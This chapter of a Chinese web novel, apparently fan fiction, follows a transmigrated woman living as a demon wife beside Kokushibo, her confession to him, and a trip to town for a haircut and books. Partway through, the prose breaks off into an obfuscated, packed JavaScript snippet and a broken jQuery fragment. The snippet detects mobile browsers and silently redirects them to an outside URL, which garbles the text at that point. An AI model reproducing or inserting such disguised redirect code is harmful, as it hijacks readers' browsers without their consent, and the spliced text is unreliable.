31.第 31 章

作品:《作为上一的妻子

    就知道,你就知道!


    原主这和你一个模子里套出来的身材,绝对是标准的运动废,她怎么可能飞檐走壁去打猎?肯定是没出息地等老公养啊!


    还有,原来吸血鬼不用杀人啊,喝几口血就行了。那你这些天的纠结算什么?忍饥挨饿是为了什么?白受罪吗?


    这会不会也是个破绽啊,原主肯定不会像你这样“节食减肥”躲屋里不敢吃饭吧,这样一来,黑死牟肯定会发现你已经不是他妻子了吧?这都发现不了,除非是有鬼……


    慢着。突然,你浑身僵住。


    秋逗麻袋,wait a minute……你这、我、你、这是——


    完了,完了,全完了,穿越一场,你的节操全丢完了,占了别人的身体,搂着别人的丈夫,还吸他的血……


    你两眼一黑,从他的膝盖上摔下来。


    咚。好吧,没有,你头撞在黑死牟柔软的掌心上,没有发出半点声响,但心死得更彻底了。


    “还饿吗?”他问。


    你恼羞成怒,暴跳起来,把他推出房间,靠着门掩面无力地滑坐下来。


    如果我有罪,请让法律处罚我,而不是穿成吸血鬼受这种罪。


    你一连几天不敢出房门,摸着黑从柜子里翻出旧衣服裁成抹布,蹲地上擦。


    期间,镇上来做工的女仆敲着门,你也没让她进来,撸起袖子自己埋头干。


    你拿出十二分的认真把每一块榻榻米擦得干干净净,桌椅、镜台擦得能反光,盆栽、花瓶、摆件全都拿起来,里里外外擦拭一遍,发疯时弄乱的东西摆正,然后打盆水,搓洗全身上下,衣服脱下来全部扔掉,好像这样就能重新做人了。


    还好,房间里有接自来水。


    你麻木地揉搓着身体,嗅觉出奇地灵敏,一点点血腥气都让你受不了。你使劲地搓着下巴、脖子,还有两只手,一遍又一遍。不知过了多久,你惊恐地看到手指搓烂了,伤口闪一下就消失,皮肤光滑如初。


    你差点摔倒,带翻水盆。


    算了,算了,这是好处,不是吗?你苦涩地想。


    处理好洗漱用品,去挑选更换的衣服。这里只有和服,你取出最简单的一套,回忆着黑死牟教的穿法,勉强把一层层衣物理顺了。真麻烦,以后有机会还是穿洋装吧。


    以后?你在充满水汽的屋子里发呆,完全想不出“以后”是个什么样子。


    时间一分一秒过去你瘫在地上装死,却突然想起什么,一跃而起冲到镜子旁。


    激动之下,潮湿的手指不太听使唤,火柴几次都擦不亮,你的手胡乱在毛巾上蹭蹭,甩一甩重新抽出一根。


    嗞的一团小火苗冒了出来,光亮直直地射入镜面,眼球漆黑的晶体照成半透明的宝石,墨一样的虹膜中央,是两边尖中间宽的纺锤状瞳孔。


    啪。火柴落到地上,熄灭了。


    太阳从这头落到了那头,清晨至傍晚变化的天光在窗纸上投下变幻不定的影子,你轻轻地把手指贴上去。直觉告诉自己只要再近一点,这里就会烧化。


    夜幕降临,乌云聚拢过来,大雨倾盆而下。


    你移步到走廊里眺望庭院。


    这是一座传统格局的日式宅邸,共两层,玄关栋、坐敷栋、书斋栋、居间栋、书斋栋一字排开,推开格子门是连接中庭的外廊,内部用纸拉门隔断,靠着枯山水的一侧却装着整面的西洋玻璃。


    你就靠在这里闲得发慌,注视积水暴涨,再低流到院外。


    这样循环几次,你在某个时刻顿悟,入睡和三餐这些选项似乎在日程中划去很久很久了。饱食、饱睡后才会有的充沛精力在你不眠不休的数日间,从未有消减的时刻。


    从前,赶deadline赶得天昏地暗,期末周背书背得头晕眼花的时候,你不止一次幻想过人类突然进化掉睡眠该有多好。现在幻想实现,你却再也不用考试赶论文了。


    你说不出心里是什么滋味。


    爸爸、妈妈……


    黑死牟有一阵子没出现了,不在一墙之隔的邻屋下棋,也不在窗外练习剑术,就好像突然原地蒸发。


    你一间屋子一间屋子地游荡,寻找他的痕迹,一无所获。也是在这个过程中,你才发现原来屋里有电灯,但可能是因为太久没人用打不开了。


    他的很多习惯和你不一样,可在一起的时候几乎感觉不到。


    很矛盾,他事事都能为你考虑到,同时却能做到对身边人疑似记忆丧失、性情大变这种情况视若无睹。


    你猜测,这可能是因为鬼和鬼之间的关系本来就不怎么紧密,毕竟是长生种,不会和短寿的人类一样非常重视各类情感的联结。或许原主和他就是相处的,平时各过各的,要吃饭就聚一会儿。


    可你在疯狂打扫的那些天里,发现了太多两个人生活的痕迹,发饰、文具和棋子,紫色的羽织还有绣花的腰带,等等这些男人、女人的东西都放在一处。这分明是是一对朝夕相处的夫妻,按理说不会这样。


    难道说,他发现了?


    你一阵紧张,随即放松下来。发现了才是正常的吧?就是不知道他要怎么对付你了。


    招呼一堆帮手杀进来?他那个体格用不着。画个法阵把你这个鸠占鹊巢的家伙从身体里赶走?都有吸血鬼这种超自然生物了,有魔法也不稀奇吧?


    你摇晃脑袋,把乱七八糟的想法都赶走。


    以常理度之,其实最有可能的其实是,他也不知道怎么办。


    不知道原来的妻子去了哪里,不知道到底是出了什么事,不知道该怎么面对你……


    这一个多月来,他也很难受吧?但他选择了压下情绪,半点也没有为难你。


    你的心情愈发沉重,决心不能再这样下去。问题总要解决,逃避是没有用的,被动等着对方来试探更是下下策,你要抢占先机,出其不意,拿下主动权。


    很好,就这样,等他一来你就说出真相,之后要杀要剐随他便好了。


    你下意识地摸了一下脖子。不过,他真来杀人,逃还是要逃的,你又不是故意占人家身体的。


    那日的大雨接连下了几日,到今天仍淅淅沥沥地收不住。你来到这里,就没见过几次大太阳,不是阴天就是雨天,果然是吸血鬼会选择的家啊。


    你百无聊赖,把黑死牟带来的书又看了一遍。


    看到第二本的时候,他回来了。


    吃饱喝足的确对你有不小的影响,鬼的能力越来越鲜明地凸显出来。他出现在小镇,隔得老远,你就听到了他的动静。


    这些天没事可做,你把身高增加到了一米七,十厘米加腿上,看着像蜘蛛精,又像霸王龙,你就一点点调整,按比例拉长大腿、小腿和手臂,再优化骨盆和腰部的结构,捏一条修长的天鹅颈……直到黑死牟的脚步声传来。


    你慌不择路,在屋里团团转,做好的心理建设全盘崩塌。


    要不也长成一米九吧,不行、不够,要两米,比他高,再来点肌肉,肱二头肌、胸肌、斜方肌……


    你手忙脚乱,越乱越要出错,越出错场面越乱,新鲜出炉的肌肉全部走形,面对失控的躯体,你快要崩溃。


    脚步声停在门前。


    “可以进来吗?”


    不要!


    心底的呐喊无法直接传入人的耳朵,门拉开了。


    你像只戳破的气球,从膨胀饱满到皱缩成一块薄片都用不了一秒,就绝望地现出一米六的真身,眼睁睁看着他微微矮下肩膀,低头步入门内,投下的阴影铺满大半的空地,高挑健硕的身材显得房间都小了。


    “那位大人有事相召,我回来晚了。”


    “我不是你老婆,我也不知道怎么回事啊!”


    你们同时开口。


    沉寂。


    屋里死一样地沉寂。


    你大脑宕机,一片空白。


    黑死牟骤然被打断了话,半张着嘴许久没动,看着有点懵,有点傻。然后,他笑了。


    他,笑了。


    虽然和上次一样转瞬即逝,但你看得清清楚楚,这是一个嘴角翘起、眼睛变弯的,真正的笑容。


    轰!你仅剩的脑浆也跟着蒸干了。


    能找块豆腐拍死我吗,找条地缝钻进去也行,我不挑的……


    眼看着你快要扭成一条蛆,他又笑一下:“在看什么故事,要讲给我听吗?”


    你的尝试再次中道崩殂,你怀疑他是故意的。


    疑点都这么多了还当没事人,不是蠢就是另有所图。


    你微微合拢书页,偷瞄一眼身边的人,马上有了判断:他是不可能蠢的。


    即使是在自己家里,黑死牟的仪态也无可挑剔,他用一种你看着都累的姿势跪坐在榻榻米上,不管是拈着棋子,还是垂手无事可做,都身形挺拔、不偏不倚。


    这样的人应该律人、律己都很严,可他对你要么盘着腿,要么坐台阶上的行为接受良好,主动奉上椅子,对你的不同理所当然。


    难道原主也……


    你摸摸身后的靠背。不,不对,这是把新椅子。如果原主也不喜欢席居的生活习惯,那家里应该一直有高足家具才对。


    黑死牟心中所图究竟是什么呢?


    你微微失神,忘了翻页,书从手中滑下来掉到地上,发出啪的一声。


    你脸红了,赶紧弯腰去捡。黑死牟已经先你一步拾起来,长长的手臂轻松把东西递到你的膝上。


    你不好意思地接过来,觉得这椅子也坐不下了,只好起身背对着他立在窗前掩饰自己的情绪。


    你想起了有一天,是还没有感到饥饿的时候,也是你在椅子上读书,他端坐在旁边,你兴致所至一页一页地翻着书,激动地合上,站起来转身就看到了他。


    “你是想要读出来吗,”当时他这样说道,“我听着呢。”


    那种可怕的感觉又来了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107022|194774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你细微的感受、兴趣爱好、生活中的小习惯,全都有来自他的回应,像一个齿轮带着另一个齿轮转。可是,不应该啊,你们是陌生人才对啊。


    你悄悄地回头看一眼,黑死牟似有所感也抬起头来,眼神撞个正着,吓得你赶紧把头扭回去。


    在那惊天动地的一喊后,你们的关系重新陷入僵局。不,这样说不准确,是你单方面的僵局,他不是没有给出解答。


    他说:“你觉得我认不出你来吗?”


    你向黑死牟提出了要去理发,这是早就有的计划,他欣然同意。


    你们在雨停后一个阴天的早晨出发,前往城里的理发店。为了这一行程,你做了充足的准备,事先请黑死牟收集了不少广告传单和画报,研究市面上流行的发型。


    你注意到画报上端写着明治二十九年,距离黑船事件已过去快要半个世纪,民众对西方事物的态度已经从警惕观望转变为狂热追捧,服饰方面尤其明显。


    你简单总结了一下:各种融入西式风格的盘发最流行,典型代表是头顶一个大髻的“日本发”,年轻女学生中编辫子的也不在少数,完全学洋人断发的少之又少。


    少,但不是没有。


    你的目光停在一个披肩发造型的模特图上:“我要剪这个。”


    黑死牟微微颔首,表情纹丝不动。他竟然不是外表看起来的那种老古板,你很惊讶,忍不住观察了一下他的发型,非常朴实无华高马尾,也不知道怎么扎的。


    想象一下他每天对着镜子梳马尾的样子,你忍俊不禁笑出了声。


    黑死牟用眼神表达疑问,你赶紧低头藏住压不下的嘴角。


    进城的路上,你看着琳琅满目的招牌疯狂碎碎念:“真就一点儿人类的食物都不能吃了吗?”


    “一点点的话,还是可以的。”*


    “好耶!”你立刻到旁边的店里买了一支冰激凌。


    “等一下。”他话音未落,你已迫不及待张嘴咬了一口。


    “还好吗?”


    “帮、帮我看看,哪里,哪里有垃——圾——桶,呕……”


    接下来的路你目不斜视,直奔目的地。等坐在理发店的椅子上,三令五申要剪到锁骨的位置。


    店员反复确认后,犹犹豫豫地看看手里一把厚实的长发,再看看身后的黑死牟,操起剪刀利落地剪好了。


    你神清气爽,暂时把路上的那点不快忘了。回去时顺手买了一只玳瑁发夹,百合花形状的,夹在脑后,把头发理成半扎发,觉得世界都明亮了。


    就是有点可惜那剪下来的一大把长发,本来以为能卖个好价钱,谁料黑死牟说鬼的头发也会在阳光照射后消失,坑人的事你做不来,只好忍痛放弃了。


    走着走着,路过街边的一家书店,你走不动道了。


    黑死牟帮你推开了玻璃门。


    这是一家装潢很华丽的书店,一看就是走高端路线的,实木的满墙书柜散发出不差钱的光芒,架上的书花花绿绿,大都是进口来的原装书。你很高兴地看到其中还有熟悉的某侦探小说


    擦擦手,你取下一本翻开来看,全部看得懂。英语水平居然没有下降,真是可喜可贺。你受到了鼓励,沿着一排排书看下去,转眼挑出一大摞,无意间瞟了一眼价格差点儿昏过去。


    忘记这不是二十一世纪的中国了,书籍尚属富人的享受,你一个头发都剪不起的穷光蛋哪有这福气。


    可是……你眼巴巴地看向黑死牟。


    他把这一大摞书接了过来。你开心了,笑嘻嘻地继续看,后面的书架摆着各种工具书,你挑选半天找到一本日英辞典,这个肯定用得到,买一本吧。


    你弯下腰看标签,十一元。使劲眨眨眼,再看,还是十一元。


    天、天呐……对面的饭店半打酒都不到一块钱,吃饭超不过五毛钱,你刚理的头才一毛钱,十一元,这得是一般人家几个月的收入都不止了吧,抢钱啊!


    看你半天不动,黑死牟过来把辞典加到原先的那摞书上。


    “就这些了吗?”


    你机械地点点头,看着他去付账。吸血鬼都挺有钱的吧?应该是。


    收银台,店员尽职尽责地给书打包。你好奇地书店里转一圈,踅到门口,好奇地看几眼他们包装的手法,又去看摆在橱窗里的是哪些书,掂掂精装书的分量,暗自咂舌。就这么一步一步对着黑死牟,倒退到门边上,后背贴主门把手。


    这一带来闲逛的人真不少,繁华的西洋铺子一家连着一家,城里的人都爱来这里买东西,就是附近几家镇上的人也会想来这里开开眼界吧。你观察街上来来往往的行人,心中猜测着。


    这个位置很好,进可以抓起趁手的书砸人,退还能冲出去躲在人群中逃之夭夭,后悔了就不用动,等他走过来就能一起出去。


    可你不会后悔。你咽下一口唾沫,看向收银台前的黑死牟。


    “岩胜。”你轻轻叫道。